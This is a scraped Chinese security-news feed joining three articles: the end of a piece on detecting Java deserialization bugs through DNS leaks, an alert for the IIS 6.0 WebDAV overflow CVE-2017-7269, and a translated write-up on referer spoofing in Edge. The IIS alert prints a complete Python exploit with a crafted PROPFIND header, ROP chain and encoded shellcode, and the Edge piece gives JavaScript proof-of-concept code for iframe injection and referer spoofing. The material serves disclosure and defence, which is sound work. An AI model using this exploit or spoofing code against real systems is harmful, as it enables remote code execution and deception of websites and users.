我们发布了一款异步的自动扫描器,该扫描器能对JBoss,Weblogic和Jenkins易受攻击的版本进行探测。今后,我们会有计划的支持其他服务、框架。我们邀请测试者参与到这个开发过程中,这种更广泛和更快的方法,对防御者早期检测出反序列化漏洞很有帮助。

这篇文章主要关注了“CommonsCollection”载荷,但是我们建立小工具所使用的API也适用于其他载荷。同样的规则也适用于探测其他漏洞,如最近出现了Struts漏洞。


参考

AppSecCali 2015: Marshalling Pickles

Blind Java Deserialization

Blind-Java-Deserialization-Part-II


【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)
【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://gosecure.net/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/

【漏洞预警】IIS 6.0 远程代码执行0day (附PoC)

$
0
0
【漏洞预警】IIS 6.0 远程代码执行0day (附PoC)

2017-03-28 10:22:54
来源:安全客 作者:adlab_puky

阅读:10164次
点赞(0)
收藏






【漏洞预警】IIS 6.0 远程代码执行0day (附PoC)


漏洞描述

漏洞编号:CVE-2017-7269

发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)

漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。

漏洞类型:缓冲区溢出

漏洞等级:高危

影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以“If: <http://”开始的较长header头的PROPFIND请求执行任意代码。


PoC(来源网络https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py)

#------------OurpayloadsetupaROPchainbyusingtheoverflow3times.Itwilllaunchacalc.exewhichshowsthebugisreallydangerous. #writtenbyZhiniangPengandChenWu.InformationSecurityLab&SchoolofComputerScience&Engineering,SouthChinaUniversityofTechnologyGuangzhou,China #-----------Email:edwardz@foxmail.com importsocket sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(('127.0.0.1',80)) pay='PROPFIND/HTTP/1.1\r\nHost:localhost\r\nContent-Length:0\r\n' pay+='If:<http://localhost/aaaaaaa' pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' pay+='>' pay+='(Not<locktoken:write1>)<http://localhost/bbbbbbb' pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA' pay+=shellcode pay+='>\r\n\r\n' printpay sock.send(pay) data=sock.recv(80960) printdata sock.close

临时解决办法

1.关闭WebDAV服务
2.使用相关防护设备

参考

https://github.com/edwardz246003/IIS_exploit/


【漏洞预警】IIS 6.0 远程代码执行0day (附PoC)
【漏洞预警】IIS 6.0 远程代码执行0day (附PoC)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3664.html

【技术分享】通过iframe注入实现referer欺骗

$
0
0
【技术分享】通过iframe注入实现referer欺骗

2017-03-28 10:21:59
来源:brokenbrowser.com 作者:scriptkid

阅读:145次
点赞(0)
收藏





【技术分享】通过iframe注入实现referer欺骗

翻译:scriptkid

稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

去年我们提过一种很简单的在Edge上实现referer欺骗的技术,该技术允许我们实现referer欺骗甚至是绕过XSS过滤。今天我发现该问题被修复了,因此我决定在补丁上进行尝试寻找问题。老实说,我觉得这只是一种攻击的变种而不是一种绕过。从实践来看,该技术绕过了补丁再次攻击成功,但是从技术角度来看,新方法略有不同。无论如何,让我们一起来探究一下。


漏洞修复前的PoC

在之前的文章中我们提到,我们可以通过简单的打开新的带着期望referer的窗口然后在跳转到目标来实现referer欺骗。两行代码抵过上千文字,看下面的poc代码,whatismyreferer.com会将paypal.com作为referer,而事实上referer应该是执行location.href的页面。

win=window.open("https://www.paypal.com"); win.location.href="https://www.whatismyreferer.com";

这就足以在Edge实现referer欺骗了,不过这个问题现在已经被修复了。然而,我想出了一个简单的变种,没有debug和分析,仅仅是一个大胆的尝试。我尝试了许多方法来改变最终的URL(用location.replace,meta refresh,window.open等来替代location.href)以测试Edge是否可以被再次欺骗,遗憾的是所有的尝试都失败了。但是,如果URL被iframe从内部更改了会发生什么?referer值会是top还是iframe的URL?


玩转referer

在回答前面的问题前,请记住,通常情况下referer始终应该是设置URL的referer。假设我们的fackbook.com带有一个指向evil.com的iframe,如果iframe改变top URL为paypal.com,paypal收到的referer应该是evil而不是facebook。


【技术分享】通过iframe注入实现referer欺骗

上图展示的是Edge上期望的(正确的)行为。然而,如果我们使用location.href来设置定向链接而不是使用常规链接,Edge就犯傻了,这时它会使用top的地址来作为referer。


【技术分享】通过iframe注入实现referer欺骗
下面是一个简单的测试页面,用以展示用常规链接和location.href改变top URL之间的区别。它们都会跳转到whereismyreferer.com,但正如你将看到的,常规链接行为是正确的,而top.location.href行为不正确。[展示漏洞的页面]

但是我们如何利用该漏洞呢?很明显facebook上不可能加载evil.com,对吗?然而facebook、yahoo等几乎所有大网站都会加载带有广告的iframe。这些广告则有能力在这些大网站上加载任意页面。当然,这些广告也完全可以用top.location.href来绕过XSS过滤。

就我自己而言,我讨厌理论上的漏洞,因为它们不能让我感到满足。因此,我们的目标是加载一个网站(我们想要欺骗的referer),注入iframe到其中,然后从注入的iframe中通过top.location.href跳转到目标网站。简单点说就是,我们要让whatismyreferer.com(目标)相信用户是从paypal.com(欺骗的referer)跳转过来的,我们要怎样做到呢?


注入iframe

1、打开一个新窗口重定向到paypal。

2、在跳转前注入一个iframe。

3、一旦重定向,iframe内部实现top.location定向到whatismyreferer.com。

这个iframe注入以前在IE上htmlFile/UXSS文章中提到过,我们在这里快速回顾下。当我们打开一个新的窗口时(1)我们可以注入任意我们想要的内容,因为我们还在当前域。这是我们注入iframe(2)的最佳时机。然后一旦重定向发生,Edge将尽力从页面删除所有内容(包括我们的iframe)并渲染paypal。不过,我们将通过简单的来阻断线程。

如何阻断线程?在这中特殊情况下,我们将使用与这里和这里相同的技术,只是一个丑陋的可见粗体警报。当然我们有许多方式来阻断线程并且不弹出警报,不过我们不会在这里提供。接着让我们来创建POC吧!

//Openanewwindowwithaserverredirecttopaypal varwin=window.open("redir.php?URL=https://www.paypal.com"); //Createaniframeimmediately,beforeitredirects varifr=win.document.createElement("iframe"); win.document.appendChild(ifr); //Makesuretheiframehasaccesstoitstop(otherwiseitwillloseit) win[0].opener=win; //Blocktheiframeandoncetheredirecthappens,movetothevictimwebsite. win[0].setTimeout("('Closemeoncethesitestartsloadingbehind');"+ "opener.location='https://www.whatismyreferer.com'");
【技术分享】通过iframe注入实现referer欺骗

Edge上的POC


【技术分享】通过iframe注入实现referer欺骗
【技术分享】通过iframe注入实现referer欺骗
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
Viewing all 12749 articles
Browse latest View live